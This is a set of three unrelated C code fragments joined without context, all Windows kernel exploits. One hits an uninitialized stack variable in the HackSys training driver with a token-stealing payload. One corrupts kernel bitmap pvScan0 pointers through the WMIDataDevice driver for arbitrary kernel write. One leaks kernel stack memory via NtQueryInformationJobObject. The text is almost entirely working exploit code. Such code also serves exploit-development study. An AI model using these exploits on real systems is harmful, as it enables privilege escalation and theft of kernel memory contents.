DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) { UINT32 i = 0; ULONG BytesReturned; HANDLE hFile = NULL; ULONG MagicValue = 0xBAADF00D; PULONG StackSprayBuffer = NULL; LPCSTR FileName = (LPCSTR)DEVICE_NAME; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; PVOID EopPayload = &TokenStealingPayloadDuplicateToken; SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR); __try { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile); } DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n"); DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, StackSprayBufferSize); if (!StackSprayBuffer) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", StackSprayBuffer); DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", StackSprayBufferSize); } DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); for(i = 0; i < StackSprayBufferSize / sizeof(ULONG_PTR); i++) { StackSprayBuffer[i] = (ULONG)EopPayload; } DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); ResolveKernelAPIs(); DEBUG_INFO("\t\t[+] Spraying the Kernel Stack\n"); DEBUG_MESSAGE("\t[+] Triggering Use of Uninitialized Stack Variable\n"); OutputDebugString("****************Kernel Mode****************\n"); // HackSys Extreme Vulnerable driver itself provides a decent interface // to spray the stack using Stack Overflow vulnerability. However, j00ru // on his blog disclosed a Windows API that can be used to spray stack up to // 1024*sizeof(ULONG_PTR) bytes (http://j00ru.vexillium.org/?p=769). Since, // it's a Windows API and available on Windows by default, I decided to use // it instead of this driver's Stack Overflow interface. NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer); // Kernel Stack should not be used for anything else as it // will corrupt the current sprayed state. So, we will directly // trigger the vulnerability without putting any Debug prints. DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE, (LPVOID)&MagicValue, 0, NULL, 0, &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer); StackSprayBuffer = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } return EXIT_SUCCESS; }
static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWorker) { PVOID pageFrameNumbers[PAGE_FRAME_NUMBER_COUNT]; WMI_RECEIVE_NOTIFICATION notification; PVOID hManagerAddress, hWorkerAddress; BYTE ReturnBuffer[RETURN_BUFFER_SIZE]; DWORD ReturnSize; HANDLE hDriver; PVOID address; INT i; NTSTATUS NtMapUserPhysicalPages(PVOID BaseAddress, ULONG NumberOfPages, PVOID *PageFrameNumbers); if (SetupBitmapManagerAndWorker(hManager, hWorker) == FALSE) { LOG("[-] Unable To Setup Manager And Worker Bitmaps\n"); return FALSE; } hManagerAddress = GetBitmapKernelAddress(pPeb, *hManager); hWorkerAddress = GetBitmapKernelAddress(pPeb, *hWorker); LOG("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n"); for (i = 0; i < (sizeof(notification) / sizeof(PVOID)); i++) { ((ULONG64 *)¬ification)[i] = BITMAP_STRUCTURE_CORRUPTION_VALUE_0; } notification.HandleCount = 0; notification.Action = WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD; notification.UserModeProcess = GetCurrentProcess(); for (i = 0; i < (sizeof(pageFrameNumbers) / sizeof(PVOID)); i++) { pageFrameNumbers[i] = hManagerAddress; } LOG("[%%] pPeb: 0x%p\n", pPeb); LOG("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker); LOG("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress); hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDriver == INVALID_HANDLE_VALUE) { LOG("[-] Unable To Open The WMIDataDevice\n"); return FALSE; } i = 0; do { Sleep(0); NtMapUserPhysicalPages(pageFrameNumbers, (sizeof(pageFrameNumbers) / sizeof(PVOID)), pageFrameNumbers); if (DeviceIoControl(hDriver, WMI_RECEIVE_NOTIFICATIONS_IOCTL, ¬ification, sizeof(notification), &ReturnBuffer, sizeof(ReturnBuffer), &ReturnSize, NULL) == FALSE) { LOG("[-] Device IO Control Returned Failure\n"); return FALSE; } GetBitmapBits(*hManager, sizeof(PVOID), &address); } while ((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (++i < TRIGGER_VULNERABILITY_RETRIES)); if((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (i == TRIGGER_VULNERABILITY_RETRIES)) { LOG("[-] Unable To Trigger The Vulnerability\n"); return FALSE; } LOG("[+] Self-Referencing Pointer Placement Complete\n"); pageFrameNumbers[0] = (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_VALUE_1); pageFrameNumbers[1] = (PVOID)((ULONG64)hWorkerAddress + BITMAP_STRUCTURE_PVSCAN0_OFFSET); SetBitmapBits(*hManager, (sizeof(PVOID) * 2), pageFrameNumbers); LOG("[+] Stage 1 Cleanup Complete\n"); LOG("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n"); pageFrameNumbers[0] = NULL; WriteMemory(*hManager, *hWorker, (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_OFFSET), pageFrameNumbers, sizeof(PVOID)); LOG("[+] Stage 2 Cleanup Complete\n"); return TRUE; }
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm{mov eax, ApiNumber}; __asm{lea edx, ApiNumber + 4}; __asm{int 0x2e}; } VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[4096]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { // Windows 10 1607 32-bit. CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9; // Create a job object to operate on. HANDLE hJob = CreateJobObject(NULL, NULL); // Spray the kernel stack with a marker value, to get visible results. SprayKernelStack(); // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 48). DWORD ReturnLength = 0; BYTE output[56] = { /* zero padding */ }; NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 48, &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationJobObject#1 failed, %x\n", st); CloseHandle(hJob); return 1; } // Print out the output. printf("Class 12, output length 48:\n"); PrintHex(output, ReturnLength); // Spray the kernel again before invoking the affected system call. SprayKernelStack(); // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 56). ZeroMemory(output, sizeof(output)); st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 56, &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationJobObject#2 failed, %x\n", st); CloseHandle(hJob); return 1; } // Print the output again. printf("Class 12, output length 56:\n"); PrintHex(output, ReturnLength); // Free resources. CloseHandle(hJob); return 0; }